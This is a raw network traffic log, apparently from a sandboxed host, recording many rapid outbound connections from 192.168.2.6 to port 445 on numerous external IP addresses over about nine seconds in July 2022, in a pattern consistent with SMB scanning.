Jul 20, 2022 06:10:17.325076103 CEST	63719	445	192.168.2.6	49.143.144.228
Jul 20, 2022 06:10:17.325695992 CEST	63728	445	192.168.2.6	162.35.126.215
Jul 20, 2022 06:10:17.325994015 CEST	63732	445	192.168.2.6	92.175.34.37
Jul 20, 2022 06:10:17.326416016 CEST	63738	445	192.168.2.6	115.132.182.154
Jul 20, 2022 06:10:17.326656103 CEST	63742	445	192.168.2.6	100.44.176.190
Jul 20, 2022 06:10:17.326828003 CEST	63744	445	192.168.2.6	163.120.126.63
Jul 20, 2022 06:10:17.383586884 CEST	445	63639	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:17.383840084 CEST	63639	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:17.384099960 CEST	63639	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:17.464699030 CEST	63632	445	192.168.2.6	176.241.42.158
Jul 20, 2022 06:10:17.515017986 CEST	445	63632	176.241.42.158	192.168.2.6
Jul 20, 2022 06:10:17.552038908 CEST	445	63639	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:17.552268982 CEST	63639	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:17.720235109 CEST	445	63639	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:17.720504045 CEST	63639	445	192.168.2.6	107.186.37.34
Jul 20, 2022 06:10:17.890083075 CEST	445	63639	107.186.37.34	192.168.2.6
Jul 20, 2022 06:10:17.950315952 CEST	63751	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:17.983005047 CEST	63753	445	192.168.2.6	37.21.160.183
Jul 20, 2022 06:10:17.983114958 CEST	63752	445	192.168.2.6	176.241.42.159
Jul 20, 2022 06:10:17.983246088 CEST	63754	445	192.168.2.6	51.83.204.31
Jul 20, 2022 06:10:18.075061083 CEST	63756	445	192.168.2.6	178.159.42.177
Jul 20, 2022 06:10:18.122409105 CEST	445	63751	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:18.122551918 CEST	63751	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:18.122606039 CEST	63751	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:18.123090029 CEST	63757	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:18.137170076 CEST	63758	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:18.293384075 CEST	445	63757	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:18.293410063 CEST	445	63751	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:18.293426991 CEST	445	63751	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:18.293567896 CEST	63757	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:18.294003010 CEST	63757	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:18.356060028 CEST	63761	445	192.168.2.6	145.204.233.252
Jul 20, 2022 06:10:18.356241941 CEST	63762	445	192.168.2.6	196.85.95.18
Jul 20, 2022 06:10:18.356684923 CEST	63769	445	192.168.2.6	86.51.13.223
Jul 20, 2022 06:10:18.357928991 CEST	63787	445	192.168.2.6	60.8.157.245
Jul 20, 2022 06:10:18.358454943 CEST	63796	445	192.168.2.6	215.78.208.24
Jul 20, 2022 06:10:18.374526024 CEST	445	63758	186.65.200.3	192.168.2.6
Jul 20, 2022 06:10:18.374723911 CEST	63758	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:18.375274897 CEST	63799	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:18.403971910 CEST	63808	445	192.168.2.6	71.249.213.94
Jul 20, 2022 06:10:18.404630899 CEST	63819	445	192.168.2.6	84.167.98.27
Jul 20, 2022 06:10:18.404720068 CEST	63820	445	192.168.2.6	69.124.60.232
Jul 20, 2022 06:10:18.404954910 CEST	63823	445	192.168.2.6	95.150.56.218
Jul 20, 2022 06:10:18.405078888 CEST	63825	445	192.168.2.6	94.208.8.109
Jul 20, 2022 06:10:18.405256987 CEST	63828	445	192.168.2.6	204.88.195.197
Jul 20, 2022 06:10:18.405522108 CEST	63832	445	192.168.2.6	2.161.252.16
Jul 20, 2022 06:10:18.405670881 CEST	63835	445	192.168.2.6	164.87.250.218
Jul 20, 2022 06:10:18.449897051 CEST	63837	445	192.168.2.6	18.19.214.6
Jul 20, 2022 06:10:18.450321913 CEST	63838	445	192.168.2.6	55.248.146.190
Jul 20, 2022 06:10:18.450448036 CEST	63840	445	192.168.2.6	123.126.38.141
Jul 20, 2022 06:10:18.450633049 CEST	63843	445	192.168.2.6	96.16.33.143
Jul 20, 2022 06:10:18.451493979 CEST	63853	445	192.168.2.6	218.237.17.184
Jul 20, 2022 06:10:18.451955080 CEST	63862	445	192.168.2.6	193.30.77.60
Jul 20, 2022 06:10:18.452131987 CEST	63865	445	192.168.2.6	90.111.86.44
Jul 20, 2022 06:10:18.463689089 CEST	445	63757	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:18.463934898 CEST	63757	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:18.616405010 CEST	445	63799	186.65.200.3	192.168.2.6
Jul 20, 2022 06:10:18.616565943 CEST	63799	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:18.632947922 CEST	445	63757	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:18.633197069 CEST	63757	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:18.802517891 CEST	445	63757	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:19.059045076 CEST	63873	445	192.168.2.6	51.83.204.32
Jul 20, 2022 06:10:19.059227943 CEST	63874	445	192.168.2.6	37.21.160.184
Jul 20, 2022 06:10:19.059360981 CEST	63875	445	192.168.2.6	176.241.42.160
Jul 20, 2022 06:10:19.074243069 CEST	63758	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:19.152967930 CEST	63877	445	192.168.2.6	178.159.42.178
Jul 20, 2022 06:10:19.339826107 CEST	63799	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:19.355820894 CEST	63880	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:19.481039047 CEST	63881	445	192.168.2.6	191.246.230.39
Jul 20, 2022 06:10:19.481203079 CEST	63884	445	192.168.2.6	6.163.3.169
Jul 20, 2022 06:10:19.481301069 CEST	63885	445	192.168.2.6	79.209.3.83
Jul 20, 2022 06:10:19.481683969 CEST	63892	445	192.168.2.6	61.65.144.60
Jul 20, 2022 06:10:19.482868910 CEST	63909	445	192.168.2.6	220.184.49.247
Jul 20, 2022 06:10:19.485955000 CEST	445	63880	163.191.136.4	192.168.2.6
Jul 20, 2022 06:10:19.486099958 CEST	63880	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:19.486149073 CEST	63880	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:19.512423038 CEST	63922	445	192.168.2.6	88.1.7.87
Jul 20, 2022 06:10:19.512547970 CEST	63924	445	192.168.2.6	169.213.141.144
Jul 20, 2022 06:10:19.513128042 CEST	63932	445	192.168.2.6	73.202.107.233
Jul 20, 2022 06:10:19.514121056 CEST	63943	445	192.168.2.6	119.125.19.20
Jul 20, 2022 06:10:19.514223099 CEST	63944	445	192.168.2.6	169.231.153.133
Jul 20, 2022 06:10:19.515037060 CEST	63948	445	192.168.2.6	59.8.124.243
Jul 20, 2022 06:10:19.515597105 CEST	63951	445	192.168.2.6	213.251.224.36
Jul 20, 2022 06:10:19.515918016 CEST	63953	445	192.168.2.6	156.234.147.186
Jul 20, 2022 06:10:19.574837923 CEST	63958	445	192.168.2.6	133.36.130.81
Jul 20, 2022 06:10:19.575186014 CEST	63965	445	192.168.2.6	164.129.100.107
Jul 20, 2022 06:10:19.575722933 CEST	63975	445	192.168.2.6	76.134.114.239
Jul 20, 2022 06:10:19.575972080 CEST	63977	445	192.168.2.6	21.190.213.76
Jul 20, 2022 06:10:19.576236010 CEST	63980	445	192.168.2.6	222.253.84.67
Jul 20, 2022 06:10:19.576322079 CEST	63981	445	192.168.2.6	31.8.150.158
Jul 20, 2022 06:10:19.576744080 CEST	63985	445	192.168.2.6	193.16.97.128
Jul 20, 2022 06:10:19.636717081 CEST	63758	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:19.871153116 CEST	63880	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:19.902376890 CEST	63799	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:20.089831114 CEST	62932	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:20.137156963 CEST	63993	445	192.168.2.6	176.241.42.161
Jul 20, 2022 06:10:20.137159109 CEST	63994	445	192.168.2.6	51.83.204.33
Jul 20, 2022 06:10:20.137326002 CEST	63995	445	192.168.2.6	37.21.160.185
Jul 20, 2022 06:10:20.152919054 CEST	63996	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:20.185463905 CEST	445	63996	134.220.131.6	192.168.2.6
Jul 20, 2022 06:10:20.185585976 CEST	63996	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:20.186091900 CEST	63997	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:20.220626116 CEST	445	63997	134.220.131.6	192.168.2.6
Jul 20, 2022 06:10:20.220748901 CEST	63997	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:20.230950117 CEST	63999	445	192.168.2.6	178.159.42.179
Jul 20, 2022 06:10:20.293009043 CEST	63880	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:20.496336937 CEST	63996	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:20.527472973 CEST	63997	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:20.606224060 CEST	64004	445	192.168.2.6	64.210.167.128
Jul 20, 2022 06:10:20.606276035 CEST	64005	445	192.168.2.6	41.85.0.245
Jul 20, 2022 06:10:20.606343985 CEST	64006	445	192.168.2.6	198.119.52.226
Jul 20, 2022 06:10:20.606695890 CEST	64013	445	192.168.2.6	1.142.205.72
Jul 20, 2022 06:10:20.607619047 CEST	64031	445	192.168.2.6	150.231.225.253
Jul 20, 2022 06:10:20.622157097 CEST	64043	445	192.168.2.6	109.11.150.137
Jul 20, 2022 06:10:20.622268915 CEST	64045	445	192.168.2.6	41.11.15.48
Jul 20, 2022 06:10:20.622600079 CEST	64052	445	192.168.2.6	40.173.0.246
Jul 20, 2022 06:10:20.623121023 CEST	64063	445	192.168.2.6	33.225.190.103
Jul 20, 2022 06:10:20.623341084 CEST	64066	445	192.168.2.6	154.84.252.45
Jul 20, 2022 06:10:20.623461962 CEST	64069	445	192.168.2.6	180.111.131.236
Jul 20, 2022 06:10:20.623698950 CEST	64072	445	192.168.2.6	217.17.192.3
Jul 20, 2022 06:10:20.623745918 CEST	64074	445	192.168.2.6	92.117.63.64
Jul 20, 2022 06:10:20.684073925 CEST	64078	445	192.168.2.6	166.68.16.0
Jul 20, 2022 06:10:20.684343100 CEST	64082	445	192.168.2.6	186.142.241.185
Jul 20, 2022 06:10:20.684533119 CEST	64086	445	192.168.2.6	145.139.27.65
Jul 20, 2022 06:10:20.685009003 CEST	64094	445	192.168.2.6	189.141.68.67
Jul 20, 2022 06:10:20.685457945 CEST	64102	445	192.168.2.6	143.210.73.150
Jul 20, 2022 06:10:20.685615063 CEST	64104	445	192.168.2.6	160.216.100.245
Jul 20, 2022 06:10:20.685981989 CEST	64108	445	192.168.2.6	218.151.222.143
Jul 20, 2022 06:10:20.746146917 CEST	63996	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:20.793091059 CEST	63997	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:21.043133020 CEST	63758	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:21.058784008 CEST	63880	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:21.199883938 CEST	64115	445	192.168.2.6	51.83.204.34
Jul 20, 2022 06:10:21.200061083 CEST	64117	445	192.168.2.6	176.241.42.162
Jul 20, 2022 06:10:21.200062037 CEST	64116	445	192.168.2.6	37.21.160.186
Jul 20, 2022 06:10:21.293979883 CEST	64118	445	192.168.2.6	178.159.42.180
Jul 20, 2022 06:10:21.324460030 CEST	63799	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:21.355671883 CEST	63996	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:21.402599096 CEST	63997	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:21.716255903 CEST	64129	445	192.168.2.6	121.96.36.97
Jul 20, 2022 06:10:21.717380047 CEST	64149	445	192.168.2.6	50.114.28.211
Jul 20, 2022 06:10:21.717617035 CEST	64153	445	192.168.2.6	18.45.170.195
Jul 20, 2022 06:10:21.717844963 CEST	64157	445	192.168.2.6	205.194.224.188
Jul 20, 2022 06:10:21.717961073 CEST	64158	445	192.168.2.6	46.106.20.55
Jul 20, 2022 06:10:21.731367111 CEST	64164	445	192.168.2.6	100.146.33.120
Jul 20, 2022 06:10:21.731503963 CEST	64166	445	192.168.2.6	97.198.173.184
Jul 20, 2022 06:10:21.732175112 CEST	64173	445	192.168.2.6	189.36.122.83
Jul 20, 2022 06:10:21.732882023 CEST	64185	445	192.168.2.6	101.68.1.229
Jul 20, 2022 06:10:21.733155012 CEST	64189	445	192.168.2.6	25.167.7.14
Jul 20, 2022 06:10:21.733213902 CEST	64190	445	192.168.2.6	140.176.47.229
Jul 20, 2022 06:10:21.733369112 CEST	64192	445	192.168.2.6	115.185.203.238
Jul 20, 2022 06:10:21.733584881 CEST	64196	445	192.168.2.6	189.206.135.241
Jul 20, 2022 06:10:21.794018984 CEST	64199	445	192.168.2.6	10.198.51.120
Jul 20, 2022 06:10:21.794487000 CEST	64202	445	192.168.2.6	9.124.75.106
Jul 20, 2022 06:10:21.794639111 CEST	64204	445	192.168.2.6	108.5.135.59
Jul 20, 2022 06:10:21.795119047 CEST	64211	445	192.168.2.6	40.110.65.2
Jul 20, 2022 06:10:21.795656919 CEST	64220	445	192.168.2.6	211.176.115.95
Jul 20, 2022 06:10:21.795881033 CEST	64224	445	192.168.2.6	7.151.86.15
Jul 20, 2022 06:10:21.796247959 CEST	64229	445	192.168.2.6	161.205.112.158
Jul 20, 2022 06:10:21.809320927 CEST	64230	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:21.981787920 CEST	445	64230	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:21.982021093 CEST	64230	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:21.982085943 CEST	64230	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:22.152760029 CEST	445	64230	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:22.152931929 CEST	64230	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:22.277925968 CEST	64237	445	192.168.2.6	51.83.204.35
Jul 20, 2022 06:10:22.277929068 CEST	64236	445	192.168.2.6	37.21.160.187
Jul 20, 2022 06:10:22.278069973 CEST	64238	445	192.168.2.6	176.241.42.163
Jul 20, 2022 06:10:22.325683117 CEST	445	64230	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:22.325830936 CEST	64230	445	192.168.2.6	107.186.37.35
Jul 20, 2022 06:10:22.371975899 CEST	64239	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:22.403104067 CEST	445	64239	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:22.403259039 CEST	64239	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:22.403305054 CEST	64239	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:22.403983116 CEST	64240	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:22.430932045 CEST	445	64239	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:22.431019068 CEST	445	64239	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:22.432394028 CEST	445	64240	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:22.432538033 CEST	64240	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:22.432598114 CEST	64240	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:22.462074995 CEST	445	64240	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:22.462335110 CEST	64240	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:22.491758108 CEST	445	64240	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:22.492043018 CEST	64240	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:22.496407032 CEST	445	64230	107.186.37.35	192.168.2.6
Jul 20, 2022 06:10:22.520303011 CEST	445	64240	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:22.558895111 CEST	63996	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:22.559434891 CEST	64242	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:22.590140104 CEST	63880	445	192.168.2.6	163.191.136.4
Jul 20, 2022 06:10:22.605815887 CEST	63997	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:22.616199970 CEST	445	63880	163.191.136.4	192.168.2.6
Jul 20, 2022 06:10:22.669147015 CEST	64245	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:22.729721069 CEST	445	64242	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:22.729892969 CEST	64242	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:22.729935884 CEST	64242	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:22.730479002 CEST	64247	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:22.798494101 CEST	445	64245	163.191.136.5	192.168.2.6
Jul 20, 2022 06:10:22.798619032 CEST	64245	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:22.798660994 CEST	64245	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:22.799113989 CEST	64248	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:22.840722084 CEST	64251	445	192.168.2.6	82.169.206.86
Jul 20, 2022 06:10:22.840801001 CEST	64253	445	192.168.2.6	70.40.15.233
Jul 20, 2022 06:10:22.841078997 CEST	64257	445	192.168.2.6	51.149.156.53
Jul 20, 2022 06:10:22.841311932 CEST	64260	445	192.168.2.6	56.82.228.64
Jul 20, 2022 06:10:22.842400074 CEST	64279	445	192.168.2.6	105.134.183.94
Jul 20, 2022 06:10:22.856190920 CEST	64287	445	192.168.2.6	101.216.136.126
Jul 20, 2022 06:10:22.856344938 CEST	64290	445	192.168.2.6	2.52.51.179
Jul 20, 2022 06:10:22.856556892 CEST	64293	445	192.168.2.6	195.19.97.172
Jul 20, 2022 06:10:22.856609106 CEST	64294	445	192.168.2.6	80.30.106.9
Jul 20, 2022 06:10:22.856878042 CEST	64298	445	192.168.2.6	20.76.42.210
Jul 20, 2022 06:10:22.857448101 CEST	64310	445	192.168.2.6	198.36.226.156
Jul 20, 2022 06:10:22.857805967 CEST	64317	445	192.168.2.6	151.16.107.113
Jul 20, 2022 06:10:22.858031988 CEST	64319	445	192.168.2.6	20.122.248.45
Jul 20, 2022 06:10:22.898904085 CEST	445	64242	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:22.898931026 CEST	445	64242	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:22.902815104 CEST	445	64247	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:22.902926922 CEST	64247	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:22.902971983 CEST	64247	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:22.918705940 CEST	64325	445	192.168.2.6	132.22.80.7
Jul 20, 2022 06:10:22.918912888 CEST	64328	445	192.168.2.6	39.171.26.150
Jul 20, 2022 06:10:22.919059992 CEST	64330	445	192.168.2.6	165.107.144.84
Jul 20, 2022 06:10:22.919485092 CEST	64338	445	192.168.2.6	142.198.110.46
Jul 20, 2022 06:10:22.919933081 CEST	64346	445	192.168.2.6	202.114.148.15
Jul 20, 2022 06:10:22.920080900 CEST	64349	445	192.168.2.6	155.238.188.72
Jul 20, 2022 06:10:22.920448065 CEST	64355	445	192.168.2.6	18.129.17.19
Jul 20, 2022 06:10:22.926219940 CEST	445	64248	163.191.136.5	192.168.2.6
Jul 20, 2022 06:10:22.926314116 CEST	64248	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:22.926747084 CEST	64248	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:23.079828024 CEST	445	64247	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:23.079977036 CEST	64247	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:23.230819941 CEST	64245	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:23.252372026 CEST	445	64247	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:23.252614975 CEST	64247	445	192.168.2.6	107.186.37.36
Jul 20, 2022 06:10:23.308912992 CEST	64248	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:23.356224060 CEST	64360	445	192.168.2.6	176.241.42.164
Jul 20, 2022 06:10:23.356401920 CEST	64362	445	192.168.2.6	37.21.160.188
Jul 20, 2022 06:10:23.356550932 CEST	64363	445	192.168.2.6	51.83.204.36
Jul 20, 2022 06:10:23.427011967 CEST	445	64247	107.186.37.36	192.168.2.6
Jul 20, 2022 06:10:23.730803967 CEST	64248	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:23.840195894 CEST	63758	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:23.966319084 CEST	64369	445	192.168.2.6	218.238.109.223
Jul 20, 2022 06:10:23.967252016 CEST	64382	445	192.168.2.6	48.81.114.169
Jul 20, 2022 06:10:23.967349052 CEST	64384	445	192.168.2.6	128.193.178.69
Jul 20, 2022 06:10:23.967514992 CEST	64387	445	192.168.2.6	222.7.32.24
Jul 20, 2022 06:10:23.968029022 CEST	64397	445	192.168.2.6	94.23.239.104
Jul 20, 2022 06:10:23.981408119 CEST	64406	445	192.168.2.6	165.191.28.115
Jul 20, 2022 06:10:23.981575012 CEST	64407	445	192.168.2.6	104.103.104.242
Jul 20, 2022 06:10:23.981955051 CEST	64410	445	192.168.2.6	52.136.48.64
Jul 20, 2022 06:10:23.982419014 CEST	64413	445	192.168.2.6	69.12.82.243
Jul 20, 2022 06:10:23.982868910 CEST	64417	445	192.168.2.6	15.184.80.206
Jul 20, 2022 06:10:23.983321905 CEST	64419	445	192.168.2.6	3.18.177.99
Jul 20, 2022 06:10:23.983937979 CEST	64426	445	192.168.2.6	98.89.168.154
Jul 20, 2022 06:10:23.984826088 CEST	64437	445	192.168.2.6	181.135.109.127
Jul 20, 2022 06:10:23.996452093 CEST	64245	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:24.028141975 CEST	64444	445	192.168.2.6	120.160.57.225
Jul 20, 2022 06:10:24.028379917 CEST	64447	445	192.168.2.6	175.36.191.40
Jul 20, 2022 06:10:24.028467894 CEST	64449	445	192.168.2.6	31.70.234.18
Jul 20, 2022 06:10:24.028985023 CEST	64458	445	192.168.2.6	90.249.118.87
Jul 20, 2022 06:10:24.029416084 CEST	64466	445	192.168.2.6	156.22.237.201
Jul 20, 2022 06:10:24.029537916 CEST	64468	445	192.168.2.6	118.219.83.115
Jul 20, 2022 06:10:24.029803991 CEST	64473	445	192.168.2.6	148.221.200.206
Jul 20, 2022 06:10:24.146032095 CEST	445	64413	69.12.82.243	192.168.2.6
Jul 20, 2022 06:10:24.168384075 CEST	63799	445	192.168.2.6	186.65.200.3
Jul 20, 2022 06:10:24.435205936 CEST	64479	445	192.168.2.6	51.83.204.37
Jul 20, 2022 06:10:24.435252905 CEST	64480	445	192.168.2.6	176.241.42.165
Jul 20, 2022 06:10:24.435380936 CEST	64481	445	192.168.2.6	37.21.160.189
Jul 20, 2022 06:10:24.480983973 CEST	64248	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:24.652770042 CEST	64413	445	192.168.2.6	69.12.82.243
Jul 20, 2022 06:10:24.715301991 CEST	59588	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:10:24.816895962 CEST	445	64413	69.12.82.243	192.168.2.6
Jul 20, 2022 06:10:24.965317965 CEST	63996	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:25.012161970 CEST	63997	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:25.075562000 CEST	64496	445	192.168.2.6	114.203.9.253
Jul 20, 2022 06:10:25.076131105 CEST	64508	445	192.168.2.6	165.24.133.60
Jul 20, 2022 06:10:25.076349020 CEST	64512	445	192.168.2.6	145.211.44.120
Jul 20, 2022 06:10:25.076672077 CEST	64515	445	192.168.2.6	104.118.50.210
Jul 20, 2022 06:10:25.077038050 CEST	64524	445	192.168.2.6	26.76.70.251
Jul 20, 2022 06:10:25.106410980 CEST	64528	445	192.168.2.6	25.98.2.51
Jul 20, 2022 06:10:25.107034922 CEST	64540	445	192.168.2.6	223.87.32.52
Jul 20, 2022 06:10:25.107464075 CEST	64547	445	192.168.2.6	75.148.1.110
Jul 20, 2022 06:10:25.107533932 CEST	64549	445	192.168.2.6	23.128.101.136
Jul 20, 2022 06:10:25.107757092 CEST	64553	445	192.168.2.6	74.219.190.81
Jul 20, 2022 06:10:25.107979059 CEST	64556	445	192.168.2.6	201.29.43.17
Jul 20, 2022 06:10:25.108277082 CEST	64559	445	192.168.2.6	83.114.211.229
Jul 20, 2022 06:10:25.108336926 CEST	64560	445	192.168.2.6	180.82.61.206
Jul 20, 2022 06:10:25.153506994 CEST	64563	445	192.168.2.6	38.157.248.192
Jul 20, 2022 06:10:25.153842926 CEST	64567	445	192.168.2.6	90.168.224.10
Jul 20, 2022 06:10:25.153877974 CEST	64566	445	192.168.2.6	135.143.16.14
Jul 20, 2022 06:10:25.154402971 CEST	64576	445	192.168.2.6	52.92.64.171
Jul 20, 2022 06:10:25.154818058 CEST	64584	445	192.168.2.6	20.70.119.185
Jul 20, 2022 06:10:25.154968023 CEST	64586	445	192.168.2.6	118.141.222.206
Jul 20, 2022 06:10:25.155333996 CEST	64591	445	192.168.2.6	116.55.191.187
Jul 20, 2022 06:10:25.512712955 CEST	64598	445	192.168.2.6	51.83.204.38
Jul 20, 2022 06:10:25.512840033 CEST	64599	445	192.168.2.6	37.21.160.190
Jul 20, 2022 06:10:25.512948036 CEST	64600	445	192.168.2.6	176.241.42.166
Jul 20, 2022 06:10:25.527887106 CEST	64245	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:25.528528929 CEST	64601	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:25.559223890 CEST	445	64601	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:25.559377909 CEST	64601	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:25.559412003 CEST	64601	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:25.590132952 CEST	445	64601	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:25.590672016 CEST	64601	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:25.618200064 CEST	445	64601	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:25.618428946 CEST	64601	445	192.168.2.6	178.159.42.181
Jul 20, 2022 06:10:25.646100044 CEST	445	64601	178.159.42.181	192.168.2.6
Jul 20, 2022 06:10:25.700170040 CEST	64603	445	192.168.2.6	178.159.42.182
Jul 20, 2022 06:10:25.723109007 CEST	445	63880	163.191.136.4	192.168.2.6
Jul 20, 2022 06:10:25.729439020 CEST	445	64603	178.159.42.182	192.168.2.6
Jul 20, 2022 06:10:25.927194118 CEST	445	64245	163.191.136.5	192.168.2.6
Jul 20, 2022 06:10:25.981033087 CEST	64248	445	192.168.2.6	163.191.136.5
Jul 20, 2022 06:10:26.053945065 CEST	445	64248	163.191.136.5	192.168.2.6
Jul 20, 2022 06:10:26.185297012 CEST	64617	445	192.168.2.6	37.241.159.38
Jul 20, 2022 06:10:26.185472012 CEST	64619	445	192.168.2.6	44.166.179.237
Jul 20, 2022 06:10:26.185627937 CEST	64622	445	192.168.2.6	133.0.20.136
Jul 20, 2022 06:10:26.186191082 CEST	64631	445	192.168.2.6	21.109.253.202
Jul 20, 2022 06:10:26.186933041 CEST	64644	445	192.168.2.6	191.79.141.79
Jul 20, 2022 06:10:26.216352940 CEST	64646	445	192.168.2.6	27.98.220.242
Jul 20, 2022 06:10:26.216494083 CEST	64647	445	192.168.2.6	185.211.230.37
Jul 20, 2022 06:10:26.216809034 CEST	64648	445	192.168.2.6	54.100.254.145
Jul 20, 2022 06:10:26.217233896 CEST	64652	445	192.168.2.6	139.62.53.209
Jul 20, 2022 06:10:26.217664003 CEST	64656	445	192.168.2.6	216.141.189.79
Jul 20, 2022 06:10:26.217854023 CEST	64658	445	192.168.2.6	191.57.42.183
Jul 20, 2022 06:10:26.218297005 CEST	64666	445	192.168.2.6	83.94.116.235
Jul 20, 2022 06:10:26.218947887 CEST	64678	445	192.168.2.6	47.19.121.20
Jul 20, 2022 06:10:26.231138945 CEST	64603	445	192.168.2.6	178.159.42.182
Jul 20, 2022 06:10:26.262062073 CEST	445	64603	178.159.42.182	192.168.2.6
Jul 20, 2022 06:10:26.278516054 CEST	64685	445	192.168.2.6	82.215.99.59
Jul 20, 2022 06:10:26.278851986 CEST	64691	445	192.168.2.6	158.65.38.100
Jul 20, 2022 06:10:26.278996944 CEST	64693	445	192.168.2.6	17.98.113.138
Jul 20, 2022 06:10:26.279412031 CEST	64702	445	192.168.2.6	16.188.193.236
Jul 20, 2022 06:10:26.279845953 CEST	64710	445	192.168.2.6	107.80.23.181
Jul 20, 2022 06:10:26.279898882 CEST	64711	445	192.168.2.6	120.119.167.117
Jul 20, 2022 06:10:26.280066967 CEST	64713	445	192.168.2.6	106.1.131.226
